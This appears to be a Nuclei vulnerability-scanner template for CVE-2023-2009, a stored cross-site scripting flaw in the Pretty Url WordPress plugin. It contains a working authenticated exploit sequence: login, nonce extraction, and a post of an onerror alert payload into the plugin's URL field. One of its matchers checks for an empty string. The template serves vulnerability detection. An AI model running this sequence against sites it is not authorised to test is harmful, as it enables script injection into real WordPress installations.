id: CVE-2023-2009 info: name: Pretty Url <= 1.5.4 - Cross-Site Scripting author: r3Y3r53 severity: medium description: | Plugin does not sanitize and escape the URL field in the plugin settings, which could allow high-privilege users to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup). reference: - https://wpscan.com/vulnerability/f7988a18-ba9d-4ead-82c8-30ea8223846f - https://nvd.nist.gov/vuln/detail/CVE-2023-2009 - https://wordpress.org/plugins/pretty-url/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N cvss-score: 4.8 cve-id: CVE-2023-2009 cwe-id: CWE-79 epss-score: 0.00078 epss-percentile: 0.32993 cpe: cpe:2.3:a:pretty_url_project:pretty_url:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: pretty_url_project product: pretty_url framework: wordpress tags: cve,cve2023,wordpress,wpscan,wp-plugin,wp,authenticated,pretty-url,xss http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log=((username))&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=prettyurls HTTP/1.1 Host: {{Hostname}} - | POST /wp-admin/admin.php?page=prettyurls HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded _wpnonce={{nonce}}&_wp_http_referer=%2Fwp-admin%2Fadmin.php%3Fpage%3Dprettyurls&id=&category=accordions%7Epost_type&url=%3Cimg+src%3Dx+onerror%3Dalert%28document.domain%29%3E&meta_title=&meta_description=&meta_keyword= redirects: true cookie-reuse: true matchers: - type: dsl dsl: - 'status_code_3 == 200' - 'contains(body_3, "")' - 'contains(body_3, "prettyurls")' condition: and extractors: - type: regex internal: true name: nonce part: body group: 1 regex: - 'name="_wpnonce" value="([0-9a-z]+)" />' # digest: 4b0a00483046022100f8b9d5ea8e4b86f63a4881436b6455ca36739827f7bf602da918e5f5ffbab9f0022100f3ac9b42a3fb0241d935304dbbaa6a6aae7ce4af30b0a4b2fbadb0192f6dfa6a:922c64590222798bb761d5b6d8e72950